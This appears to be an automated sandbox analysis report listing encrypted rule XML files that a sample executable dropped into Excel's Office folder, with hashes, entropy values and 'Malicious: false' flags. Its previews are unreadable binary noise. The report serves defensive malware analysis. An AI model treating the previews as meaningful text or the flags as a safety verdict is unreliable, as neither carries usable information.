Preview:	<?xml.j\|.T.p...k7..).Bp.p..k.B:,.......k.?.b4....3.R..l..ZLwP.;.......g..~p......_,.::.b..P.\.2DJ..F8.-.....~..m....g.....k]..bXw.....\.^.....+...n/bY.m.uv..e..............H....r.s.b.V.....#..P........../..g..C.>.^Z}V.....g.!..4.~..H...K.0.t......x...6.Z>....U.J.s..>..W..c;.f.....b..._h.P..K.W.=..X-.E1M.o.2L.pEq:s...\|Y..:f..A6M.s.lC....\q.Z.G..q...,./..z.QF}2a.7>.,..#P+.n.......7..x.mB..V.H.z.z.Q.Z..u.p......(.J.(..9...h9..?/W[:v_?....O.X%..7..M..q...a..Y.O..E.;..>....J.cJ..........AO_&4T_?...TA.....u......m.F..pQ.Q.._.......V...#t..Sc...iq...=.....~d.@.t.A..#.G..Ls.)......`..v...D..=X&ZY~....../%o(.. ?...2....XwT....[..v`l....,....t..c..n..V...0.~dp.u.....#Yz.+.">..{..FL..\|.?^.+.>...V..K.........."..c.z.i...SGk..L. 1....]........-Ce..g...9r...._.p........b.?4..y.c.c..;bg..6....>=vaP..0"u+f.>Q..Fy...#.Tw.`9.[..`...>.,!0......uG...g...b#...L..\|e..v..eg...V<.W..#.nj...bk.....$.^....t.@.a:.o.RN.x...Mg.c...:.fX.....<..:.d...9@(..rj.w.w..^.w.d...]

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63059v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	950
Entropy (8bit):	7.749494609311977
Encrypted:	false
SSDEEP:	24:6M75D43xCobr5FydpBGrGi7aFtOe/u2jt7bkusbD:6c83xfDaBGKi2seNjmD
MD5:	FA053FB115BE8EFB17C363EDFE3F13DF
SHA1:	41B5FB73D9F63604BF9D9C43A45F85273C5C1F03
SHA-256:	FE0A2545BC244975A9FC2DA93D756E41B495B51AFF5C2D8825D00288F2152D50
SHA-512:	F5C5AE22E06FBFED1F7B59AB59533DF7F155D7501E9E33C3501D40F1CFBFAC853E3075979A6A450A21E278FEA4B681E6C1094CC2CFD4D702C7902B2AE757E257
Malicious:	false
Preview:	<?xml/.m.v+..$ZF..... .\...)AV..4.%....l..^...<..:.3.5O...m..3.8..s....A1_...+...6L...e......&...D..f.C.:...j.~.{(- ..?\|P.G...H..D...=,n..tJHh..[.V..r...<........BYN.fH..../.dr.CvF...K-d.[qf.,.T#jL9O.....6...[.La..q.Mcrl..I..........p.G.KaTu.'.C(}.A..?7....a.O.K.......":E"..d...[7...........i.Rv!~.. V4.c.Y.D.........i.H...]U.<..9q..!l.i......e.>.P.9.b.v..k.d...5...'.y.y.......z."..8...R.wz.z"=J}...;.E.A0.D..a].+.i".f.......LC+.e.\|t.o4:.K.....p.~....T.......~.x.lT.....t9.m,.b.qQ.b)....B..$}.._gS.m...;(...8p...:......-o.S..pWfk......-....V..g....T.wt.\w\|..1l...%.,....L[ .../..\.!m..V.#V.T.8..q.`!aO.....=.?lR}.\|&.u.7..+E.M6.....J...T..P.IH.GX<@t&.'H.%....pu6.4...}/S).~..~\."x.=B..TT....]'..Qu.r..@..^..X&.1..Q'.1C.B..\|;..cS.XZ.&FV...@..7If...g...+&...8..'..#.._........S.x..)1.Ec.f.X3.....O..}I.$./...k...".G../.j.!GA..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63063v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1125
Entropy (8bit):	7.809154300525845
Encrypted:	false
SSDEEP:	24:t73sxZ0Gbo209cHL2kni0+ObovwNY5Qi8pO2aUPAoZx6UdsX1isbD:twZOt9GjOYlN4Qi802aUIoZxU1imD
MD5:	C6030D9DDC02D75B2BA2ECB287E8F831
SHA1:	2B51F05918B0A461AA9AC6F4FE44F447363E0C40
SHA-256:	7C5F8F2951668917C286105391E5C6298E291724448EEB973350CD7E87231F91
SHA-512:	A37C6E655F7C9EF05C2789126EEC8B59FC6BE1066F1CFB7B80352B5ADD1B42E432625760F8DFD20BF1F848ED8DFD8BA2ACEFEB3F5EA39E10ECF35ED0E24F3F91
Malicious:	false
Preview:	<?xml.-.<..>...3..p.F"h...7-.R.`.w.J....w.........J.m..].._.7.v.^S..U......n...I.....a...Y.).]....].'...\|....<...Y.....i.......t.7dd...5...].b.P05..D.....h...Z...v..`.F... ..`...=.I.v....?..../......&.9......P;8uC.mn....^..\.5X.9...,).. ..Y.t.!@t3...z.....FH..P.....'..L[.`....,..%n.{/6.$.)W.hB...2.....Y]w.zTo.i...-.E'6..?...w.!..rnv<U.\Q.4..[F.]I.L.L-...\.t.Y...........T.#..9...=.......B.{.y.W.0.(..(m.....q.....h............;.l).P..y(<1m..V...-......9..g..o...5...ug4.v...#.D..g]Eb.I..-.U?...":/.(w.=&.....q9..V....\|OA..Oq#E..'S.....j>%9.<.G...d.-.&......14..O6...8.6.Q?.O1..q..X..Z{..5..V7_..Y...:.5..,..Q.X.....nT.U&\...K#..YUY..F..iy..GV.V~h....M{.F/..s#.[&5...z~l.`]...;......8Y..t. %.o....r....y1.s.xN.o6&...T.)n^i.1.Z........Q.,....PL.eS-.......p..... .HN....../U..6^?.Y.zI.{O4.T.@...:>..M....,b......y^...l1<...}..{&.......r.I..F.\|I_.....\r..4@y.p..{:..&.l2.L.Jy...J.32....{...Q.E ...3...........2Z...;p...ayq...IP&{&$....X!.<...oT

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63066v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1121
Entropy (8bit):	7.788604099584331
Encrypted:	false
SSDEEP:	24:RYbE36O8HGh53dkTiWQIGiwJPjJDOBSol2Hy4Rda+esbD:R4A6OGiWh8TSG0mD
MD5:	3FF8D425F7900EA90FE8C12BFBB59B20
SHA1:	0F010C3DD5461F179715B793BEB733B68D3B0139
SHA-256:	D4C20C19BDD28A2EFB4CA2804E10E350587FB6A942966ACF8CA526D8BA0AD89F
SHA-512:	3178E31F94891DEC7DB9F189EDB38A1176060F1027BE6CAE3965A4FC3EFDA202D7E62F54F873BC59A4FF7739AEFBC6D1F840B9C4CD938B4CF92CF22A37E6CFC6
Malicious:	false
Preview:	<?xmln....3c....y..m.9'..<...D..'qD.^...[.4.5.Z.`......."..:.L7~.@...E$.<RU..W.....0.......%pP......y.CJC....0..i3u.B....J.Z.oj..C.+..!...L...._.`......J..g..a..../W..]..E..I7......Y(....."z..7.g....".x.sK.+..nJ.r....IT....C.....p[..x.X....4n./)...g~..'..m7....[v.B'.h'..T.!J".g...9.s.Y..{.!............f..'.J.6e......Jg.....&..6...8.}.......y...X`...V5...\j..Q`.p...(t..[...t.....8.L..L.......4..ff.kK(.\|.....W....n5.......C*.I.l..A...nDU...{...\.(.6..K&.L...h+8X3.e...{.L...q8J.(...+a.u.w.7!..[...C...6 ./<...w.d.....e.Qn.._...Up[..l........d8s\......l....X..6E....T<..rz$.S2.V..:..oh.9.?%4/...Qc...~./..`..a.....[.....B:o.b....JYf.#...~A-..\......gN.]..![......a.m.@... ......v.9[..=...O.7...e.Os.w.#.<k....4..9......U.w.ko...S..z.t..-.S..@.....)./8.......o.........\.D...].`.0.....}..Gl..Q.6.4..7.^....nz...#O.P\......e....5.C.p..jQ...`.Eg.s.]..(3.eY..7,T.k.........B.fQJ.n.g..+....N.......`C..U.Y..@...z..{.R....F.....r.d....<W.!..~QP5.N....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63067v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3109
Entropy (8bit):	7.944501691158721
Encrypted:	false
SSDEEP:	96:zTZv/l6N1nP9W3e/Qu33FdX6Fx1UsfyQI385knpw+:BvIN1nPSmH/Sx1faQIOGpw+
MD5:	D27D5B21A81739BF65CB6D147CD4D970
SHA1:	B8467C2B7439756C409C34C6A4312FE09C12814A
SHA-256:	7F2321C32DDE9D76E744836CE3DE3E24F5B9D3C972C47E3BDE42EA1883C784F2
SHA-512:	628A90B3C3EF31374647D1576A4B4166A54FBB05AE94C3F41BF9A51047F5B1383453C4A4F27FB0B9DD064B0FA3AAD0DC2AB50A3D79AD5FA987E79E6F19844DBB
Malicious:	false
Preview:	<?xml..MU...y..w]."bW...YL6v...F..V.X.......n~.i....@..cKrKb.\|b(".._7...?......-.w.......}N,`o.....c#!?...tG..B..uR.3...j...e......_R!....u.a..`...Ez..+....0. =1.'..j.DT.b.!..zw....lk.y...~=..!..A\|..RMo.~....i..;...#.G...i......~.4......>p...;.)#\|&..=..%.fu.&..5..Z.2.a..;......TB....8S.cZ....q..s;...C....m.. ,..{.6^.Q.e..nJJ..l.jyK_.X..X..el/.{a...8....).p.....}.&.94...-b...l'&.jM..a.4.^o.08.%.......1S}#...Qb..q.o.....e...bw.t......-...?..v...Z....f.N.6.y(.."...T]>..]!SgNsZ.VP=.d..6[.I\|.i....9...0+.......2...-.g..q..OX......)3.$k.r.j....{.9./.D0..!p....E.h....Vh..=Z.U......~QD.0.l.~....i....>M.+...."...U...."n.0$...I.L%.R...'+.We..E...X..^.....y_.o.rTlSF...).i.P.$h...n.d.x.]j..H'..F...1G..=...E;...R.i....1...$.+:2..[R{A..\|#.;...v>.n....J..Y.a..xy....9...z5.&s.?....r.s.P....C....s-?w.g-Z..[..,..f.....P.o%..*.s.Z...c........k.`).iQ.).v.....-..r.a87.'...j$....;....T.'...C.R.M.u.......'.:g..D../l.YF.....\.&.0..VJ../...<D "...c...?...#.^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63069v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2126
Entropy (8bit):	7.9146298528885595
Encrypted:	false
SSDEEP:	48:sobauQNXR2m33GTAvXh8j/b5RjkrQPfFZxjAHt2hzN9mxmWnymD:sBuQlkl86b5RPfpAHwzNQny+
MD5:	AE85444993BCE1A5C61980F8478CFF21
SHA1:	55BBF497E7890982FDE26D5936F783AC1656CEBC
SHA-256:	53E1F81F180C7DEDA6167812CBDE03C7E4FE67844D4F3573280A78DA0323850D
SHA-512:	632A335D63202EE57A54ECDA8CD4CD4B24EEDB2F529B6B6E99FA7CB006DC5345CBD2897A9D447D1CF254362D94AC8EAD9589BD125073E6328992FDB31431DB33
Malicious:	false
Preview:	<?xml..)J...UC"I...s:....v.WU..-..Y.^..&W..(Ls.q...l..<6...3.$..E4..C...;..@.B.....r......d.@=zw.J..Q......L..2......)<.!....7\|.\|.~K...U......;..0..%..(....o.e..._W..u...>.H.qED..s....,,9Gi...Fn..U....s...1.....>x.......U..t.....\........'..+a..N......].x"L..X>...twD...].8.......Rj6...N.0.R'.....+...y.t...a......ynA...i...2.{...c..l.i.I,..93..m.&.D/lj1ZNA/.....}..h. ...].Q.T..-y.g....g...[...r.#..D..%....#....\|.@..\| ..$.....H6....gt4}m....P..h..b.\2C..G..6....f..v%ns..9..C....J%....f..^.?.W..l.%<..r$.K.....i....2,.@b.V(..f...)...A..&a....."d.$K..v.j......y&..P.....J.F..3."....@.....?<NOA,,.U.....1...].>F..A.....[.T1...h.?K..lW.....2p..[P...S.H......r..t-.9..}qkK.....(.6.H.O/T....H{.W%......vY.k...:. ..N'.<".....z..(..)...G.v.$......Ivs.};.."..>..FGf.~...5.R....u...I0g..5O..D.O.-:.6....X...C.AK../-l.{...4..G.../..3....5..Rp.2...e...47l.}.Rm..Z../.:..w.0k`..V.(.V...aKIW.3..,...hi...{..W"....f.g...6.%.Uq..m.6..7J.#.v..17Kx!..O

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63070v5.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1387
Entropy (8bit):	7.845777616952544
Encrypted:	false
SSDEEP:	24:ZP/MtEUmaYw2Ngp0hm3MGmQc7Rd2KnZbKlb+ji6SfhVbpWpC9VXFrhVylyZ55NC+:p0tErwMggEMP7Rd2h4jlOH9EC1heyZ7p
MD5:	62F667792BFA2A9BA8B1D273E699FEA6
SHA1:	B6CFE775C417D4796552C58DCCFCBA9E08F9BBBE
SHA-256:	48DD9CF5AB1F502A421786CEF94969C0DF52F640D3C331C25FE16D8530386DC4
SHA-512:	870D7998981218923FEEE399FC5CABA8C3A2806D2DF603A31FF08F1C9FC230A488D2B308676EFC5C864A3FCE63DE4ACDA284540696872592B12B5AFBC6E43CE3
Malicious:	false
Preview:	<?xml..B..(.._}....z.....QR.)....\..R..S..J...Q7..m.._..V.a.."..-.}O.=....5FR......=.wm...$=&#........-...L.N.T}..\|.e.Z.Q<^.+....BYE..h5..q6.<..#.UX.j-......j.....D..0...r.f..8l....M.c.@.O.b.gWxx.z!.HA....\|vd......h...)..o....m!...Y........Sf.A..$.E.V..aZ...B.0. z...,..B.......#....,...@........To#.&04....@....o....H%....r%.4........q[.R;.!....hD.i.....%..8.}........<fE5..X.18.:.mc...../...R.U}O..C(....9r.<....._7...FBG.T`.j...(.t....z...s9.68..u..B:...2.,.)44Z.3.#...P`M....8../_....\.W.e...$e.:.W...j.m#..+?.Ijq..a.+.J....X......hS).T..a...H..-...^.....=..U.P....P%R.Y[......n.}.'....G~...A...`9.I.HK.](.4m#@...4.j..@T.9..........rZ@...2b6....g.p...j.M...........a..p>.X.$.b...=.H...@...zv....[C.z.I..L.......c.r..w.....o..&.A.#R!..-)..g0D[.S.x...d..e....}.D.O......\|.1d....9......o.t.j!...s...o........R..11.F.p......9....S$w........e.......V.yg^O.k'.....g.9.r~..vh...]..g.f.tbbC......$)s{.r...9..d...:...x.M..jKe..i.B.....di.)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63071v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	754
Entropy (8bit):	7.6742438435841125
Encrypted:	false
SSDEEP:	12:X67aVf/1uEt7Wf+MU9XJG68j31G35jmSqzXQF7jCM6O7p8y9DqFhRn+gfDsW6BXg:X6+Vf/h7c+MUrzm1GNmpQUMHey9AR+mR
MD5:	9D4EBE860AC7CBA6ADB0653A81181519
SHA1:	31E36017D805FCE24B92B0364F81AAD689F47DD8
SHA-256:	4F60A6EBF6A5D8257AE196F16E621141FD3765D3B7EB480A28939BF465E6C2D9
SHA-512:	6C6D98102E58204140D7CA51E538BC6E80D41AC89DBE0AFB10814F23831E6659E21398AEDB4533ACC05E449744A8EE51A11D9FEBF2EC40B6F99B81133E406B76
Malicious:	false
Preview:	<?xml. oD.!..t.0..J.a....n.`....G.u8.%...kS...A.<..J....`.{....V#.QB..p....n..NYfR...x.........o!.0..k.0&.i!..aR.]......Ln.......W.+.....N8.......#.O6"...>.\|...f.XW...v)>...e]..=[R7.-..mK1O....K(+J\|.f........L..U.9.w..J...Co.W.s.yoYu.. ...........vd...\|W...J..5..0...S....P./**.M:...,..9.?L.....H..,i.K%..j....@...[..u.{h.~q.1.....ej.VJ...oD6)..+......t0......R..y .........._%..!.O&...d..#...XwUL11.8...........Y.....<..y`.Btk7...K.9...[1...&..J."c..#&>....!;f...z.PJ.b&.tl.DHw9.)R....]P....,.1B..5$"u..6......\|...`.{.P.>h...{.I...y.......n..q....\46..]...r.a...?....f{.w....u..}.g....j....?Z..+..`..N_#zK.U..\.x..Cy./i.....Rt.q.H...V.%.x8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63077v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1399
Entropy (8bit):	7.822826926588852
Encrypted:	false
SSDEEP:	24:V+WZSAyP7UKWsp5b7T57LIJoXol31SEUFDTUoPI888SaQ3EUrnFMux+2WLsbD:UsSdUKHpd57SJEEYnPI8bSav4ApLmD
MD5:	F023C3DB94CFD416CCEF25E2C29384FC
SHA1:	9F6D3435403D92C12373F13701EDC5197F2A8437
SHA-256:	0DFA19A993761AEFE0543245E1CED921B202331F2F2C23C0E8E539CC5D8B26C0
SHA-512:	930357755DFFC24C47F8BFE29A9CAD70868E5054B4E63789F9ADB54395049BD47922D5F75726A40264BDAE5D4C39C188A6BB23DB36BA43455529C6B826E52CE4
Malicious:	false
Preview:	<?xml...<.u...]p?^o .kc..B.....z..,.q.@3g4.."....&..X.w...K1&.hE.O......?.@.Gnh.s.,.It.......<.42}h.l.....^..N.\.....m...vD..~q.N..m.C.Z.@..Q.....=..[#.!...X..$j....;@.S.f...4-..Z.w....C....=j.'}e..u5}:f.2..t@..%d..Q./.e......?5'"..z3.....5D.>.\|;..."....C.../.`..j........L#.?..^.....Jz.!i_W6....;.......ec.....$...7.....7kJ...?.........!.=.5...I...z'B.....@.~-%IM^l....0.G....&.....B.........~.@..Xo...1p.BQ.hGMrl...=SG...5...';&..:XWI1A\.[%}.F...w.1...^..s.=..d..............n..Y...Df..yyK.:...G`.h...xen......f......S..}........}.}..7/..B.UH.....G?..3...[.X....Z.5Q.?t...6v\|3.0...X...Z...\. .{.....c:.......\|.K...i.....xR... ....}'>o...~2h........+.n...Th...N..~..n..'..-.........~...5./.H.....j......kOL..0..h8.....b.#_...+.d.J.....}N@.z.C..;.?.....mAS.$...L\|..Z}.9....E......~......_.3.$0.C...........pj..jA.r..Prsk.1...e.#.a.n.".....f..U...r.-&.i.nL...:.Pp..m`F.rx,.;5....M.10..9..Z....u.y..7.a....E)...\|......t\i.i......G.#1..-+....<..T>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63078v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	708
Entropy (8bit):	7.697494672207962
Encrypted:	false
SSDEEP:	12:QKygwd9ge+yaHyinPhDrsIea+jz/ZMeU9CWwmzzXu9BLKd7DQKFQscii9a:96SyK1nXE/uh9dBru9igdsbD
MD5:	A22B8BA6D6A543692107BB3032C48264
SHA1:	105F75DBFB6629D80BAD6860203C9E05E48D4D5B
SHA-256:	454097ABE00C2501838B48DA890BF02760C3123B9F237D11196873D66FC13F0A
SHA-512:	63F9886338E7AC1874AC7042F33C5877BD8D1D1F15DE324910503C43CB0CC8117AEBA527484E9E4CC02385C69E9BE386B84CC808E01CF488B574D227B691A0ED
Malicious:	false
Preview:	<?xml.y...b..5....HY)..9.B..."..t.{.2.uk6..+..?2..vx\|.W88..0.`....h.g...G[.eV+@..]."!SELb...b.'..4..R.........).[R=o..xgaz...x.a..TB........M.i6j.....tW.......6C.......dV....K.`..I..^...W.="..j....zk..VT..dI.Z"....n..[T..t.C.g..:..e.....XV4......?.P}....QVT..o.s...H..CT[,.I%.,f_........Y.Io....S.......\Q....\|...Z.[g.==.a..k............m.. ...)d..,.bR...c..Y...".....7\...6w. ..+...W...Y.2N...Z.."........$..e..S..@..&~....0......VZC.)^Nqc....9h2..x......Q.......Q....OOU..........#..F.&>1.........\|..\.v'...L+..!z...<......[.aN5......."FyA.......,...C.... ..s.`NX..>.>...N2Qt@2./.f.. ..B.......&8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65136v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1132
Entropy (8bit):	7.788003854260702
Encrypted:	false
SSDEEP:	24:3ZITFBFpot2aVofFgi0oeFC5xO8mBknEAMaMdrk5PnAnl0eR6VB2xgJXfGCsbD:36TFBDot2aa/0oj55nEVli5w6eABeGXk
MD5:	B91CB7E37C14D8E22A616C39EC5DE645
SHA1:	031678C61EA5AE3E48FC32CF0C4A1478F9FD3EC1
SHA-256:	4CFA2217B7FC63DF9CED6DD0A0EE4FFD88E8E6E2FDD2FD460BAFD9D7396566FD
SHA-512:	9995D270C775A9488195DFDDE6E7D2263296E06425AE83A0C61C928191D2F5BA4359AEC6A119C51C419444F7FBF4B40186A60B1DA480586F2919B89A21F8ED66
Malicious:	false
Preview:	<?xml.0.I..q.os.tI..,.. ......\|0.Zyb..2..n.F"V..V'f......?...)'.....@~;...,....?..."U...L..s9.&.....ZD.S......l.....]..9.X.xmu.y......!.m.Aj.2O.L.....@p.......(Z.W..,..1.u..QD.w.0l.....6P..t...J?.;.>.L&...:...>...i...I...=X.`T'Q.l-...7tZ...Z Z..N..TT........(w`\'.........]K..6.......jL@.....3z#.Kl..}......3..@&5G7.bI.6z.tDv4p.H..;6.}.K..]...IU..S..!s..%..r.j.I.K.]+Gt.c,R.H.8.X.=.{....z..Pc^..V.i.....4.......\.. ".BO..G)}...c..L.,%`.+.....?.1V..t.G..]..ti\A..zm6Z7......]&.......!..fT.I....{;......o.k..G.>..0WA.<B3.a.....X{.S..4.8ID.c.(._t..:.a.!..r`.q....I.....c.....83...}......LR/...u.......\.....t?.../sI...6...pDn..@.......T.l$.o.}..t....Q^.v..i.m..@......Z.....v..X....E.o..W,w..[......#..K{JR..+n...n..$.<.....v..)O\..........>....Uqp/...v...:=..~.<.tq=...ZbxTD.Lq..(.a.....0...@....c.S...7$8~}o7ii6..v%.@HT.0..n4..>.c.X.J@-Z.M.q.j..j.].N..i..L...L..v.8%..L....6........#..q.J.....x...>w5D.M.4sp...!.2r..7.\|:.Ez;..@a..>.H.6.c

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65137v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.692479032429354
Encrypted:	false
SSDEEP:	12:5T6GHsRS8VIiS3kt/UbO6lnLuRkb4E00qwdaRNh8ooGGxQyxrsJFQscii9a:5xMHVIiSwUbO6B6Rkbf0REb96yZ/sbD
MD5:	37B521E6B840A2CEFF8CE2AE8214F66E
SHA1:	C57F08F63CBA86D923BE8BD853E2E22EA7FBA2C0
SHA-256:	7F0C38A31D6C99D3B7E8CA7CE0D4CC4571D88B2FB2434405350B4E33381CEC60
SHA-512:	2C6E082170B89FFEF966D5E2B921C1DC6C2144A6F75503708468C8489E379F924A48E7067D50604C3D2B7E0A067864538FB1AACBBDACC4B3327CB358D680BE9D
Malicious:	false
Preview:	<?xml.&TS...cU{.%......w:)...."V.>.5..).rv5.5...o.......:#I%.`.....\|. ..7..%..b.G..Z...Y..hx. ..>......m.F.(/....i.K...`....Im...T..........,.`?..E..I2...-...+.BL.v..T......!....,.X..m..N......?...:.....\.0.=(..z..Yqz.A.....^...T6q..}".-....u........T..R..11.t..~.9.a...;=].q...1...Sz^D.........nq.W.\:..n..M.....F.h.i....:.].C.R a..Q.m..Z..4..p.A.d..U...c..1NDFD..Z.U.^..i.T..n3G..L.+....F>..o?=KV7.f..GgH......3s...ek..`l6Ckn......#.?..I...b...N...q.' ....0...A.\|>\i'..8grN<....muV.8...[.d...>.#12]..;.e.]..s.....{..?...b...Q.5........v.i.U2Q../.Y.pK....x..K....1.....j.qM..,#}._.=..............U.[v..&M..........L.5.;.....U...(....7...%q8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65138v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1094
Entropy (8bit):	7.822712299750368
Encrypted:	false
SSDEEP:	24:QiL0w+u//c0c12mMDagjEofiIgqKcO6Vl0GEWd2EDnniY0LsbD:QA//Vo2HagjEotgqnOWmG6tLmD
MD5:	CAC0C981C290AB9ECAB1C234E51BE13F
SHA1:	6B103C0DECFE1D18B9F0CEE639FEF05E5AE5E600
SHA-256:	0A29020F5B29AE48810252558BB3454982A4B364CE44D2CEA4FEA2A2C2837505
SHA-512:	1D026D94388BB0B38DE22F0404D862E58C8D7F602E69915C8B4A77E54A6683FFF3FC5D7F721E35DFEDA3DA57F7CDA30D77C6BCC7E80C40588E6539ACCBC292D3
Malicious:	false
Preview:	<?xml-.A..y.....dy7.e...A....!....1;.... ......."IP.\|.[ZPW...QZ\|.8..{.....0.m...Y.P0...~\|.{..y.l.4..>E../5i.R}...o}...aD.?"..Q.l.......^.f..R...8\|.N...3@.....J.}..8y.]..$.......'..".....u.SJb..o..y9..f9.....Yz.]..,;......].`..w..`.Xz..e...(S.\wb{..:..<9.....l9A.F.b/f.%\|...HR6_...0....T..G..a..CP.s...,.i.tf..7.A.U.@....S.EV.....EG.C(...`...`...'\|I...S...K...#..M....{.,.....I...........sW{5..4....g3...m..vF.......i.Rc..?lJ......S.f.B[....I.2f'%.l......p..J.={...y.G...Z..ehRh...e...g....3...;..#R......:. .k....].^..o.....h..L....OjG.`....Y..'.=..8#0....Z.=.~.....~..y..o`....>.7./.H.CU..&.b%#..b.g.4>.. .JK./o....=.D.\..$?Q..\|.d..qZN...&.........x...t...CO..../..Z5........L.....v....&m.....@....-/..N.e...<M..+66j.9N..%2......Y..Ut.w}.....?........n"w.1.1.#J.2n0...GF....n.........zB.H.A.0......-q.{-.....H3J..K......5..jk."\|..F.........g...R...[.NKb%J..).................{...2..4...6.w. a.\..t..Br..."r9.j.v...Yu.\|....m.\......._......o....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule65139v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8095
Entropy (8bit):	7.979395997276966
Encrypted:	false
SSDEEP:	192:NX4vy0dtZ5cF/CaivCn0Mkm9/919cTJ7Wq+:1On5laizMkmRT9cTJo
MD5:	2F1663DECF3E97B4D6DB69259DFDE12E
SHA1:	8B97E3A9295BA78F19313B882A1D25DFFDBF5900
SHA-256:	9BE549DBBA842DA76AF689C1E5C0C3FBA4CCDEE053F5529739F16DDEB6FD01E7
SHA-512:	F94B693C2F6B8127149C3FCE0FE8E9ADADB6A41E9AE781E72F1AD9C596B70ED74BFB3358FBB40D7E15353E75633E5201D9A1A059B130064FEE8A83932BC11D2C
Malicious:	false
Preview:	<?xml..9..O...e.M...P..Z.....X,..y...y"-. .....#07..i.t#..)...w-k..U....._.n..\..'l...:T..7....mZ....%.V..+.....-!.BZ.+O.z....~..d.......2.....{i....-"s.wG.7..._.............0.J......`s.....".%.....p .W...S.\|.G\....DN.-...V..N..g#H8TiOG.W......@.Gc.s..M.h....^;.V/.y..A....p-......DT..,\|..K..S..=.. Q.<.....@......b9..i.W3.....r....."..6.#.#..<8...3...... ....2.-..x..>=V.N7..4=.j.oe...g0.(.n..h..O0I..=#..\.b.q.3....;Q...r..7...C.F..ph.u...D..._..8.c..O.`$R.....!.a...ua.......C.f.^...v...@.....Z.4.......Qs....................n..k&,8....g.e...\.p.....[.+.e...U..4...C0.....</%U..e.[...m.5..>3/:.iAv...[.aM....#..MQaNAl..!..>g...O....k^W....f.%/.........9..'...^...?.{N}...:x].B.......R........:.....P..J.......2.n....&V.x.I.+.]...L.Mm}...d...2.n..a.S.r.4........fM6....HB..._4...&F.....v......}...#.f.C.=w..........E..JW{GZ\*..e.g!..>..I....$h....f..S.2.E.......G^.DJ(.E.c.zM..b.g...G....V..&e>...9.5F6:.....@lv'.I.}Gd.v.Z....W1......VA.I.L.o.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule68000v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1047
Entropy (8bit):	7.783625943488339
Encrypted:	false
SSDEEP:	24:WWf6V+Dgn9TvESilrsyQIaTJ0Ld/3ffPsWw1R5L66CnY+HgsbD:WWy+0vwrsyFaTKd/vsWwT96pYTmD
MD5:	9E9F1B0EC397E917DBD08F922765D25D
SHA1:	56A6C3E21D77B04369EDFEEC4B5EB5C1B2BAC8AE
SHA-256:	2F9823FFEF138FE70B32E78E8B24A0578CAC736B3C79C613BDC1D5B7620D519D
SHA-512:	27BF16BDAA265AEE60F0E496CEE7EDF953F7A24C3A919D51C66F32682FBAB5D11807D6B21082E0428A966E79559103B94F448EC998FCBE7BBDF10F4FF9B4C068
Malicious:	false
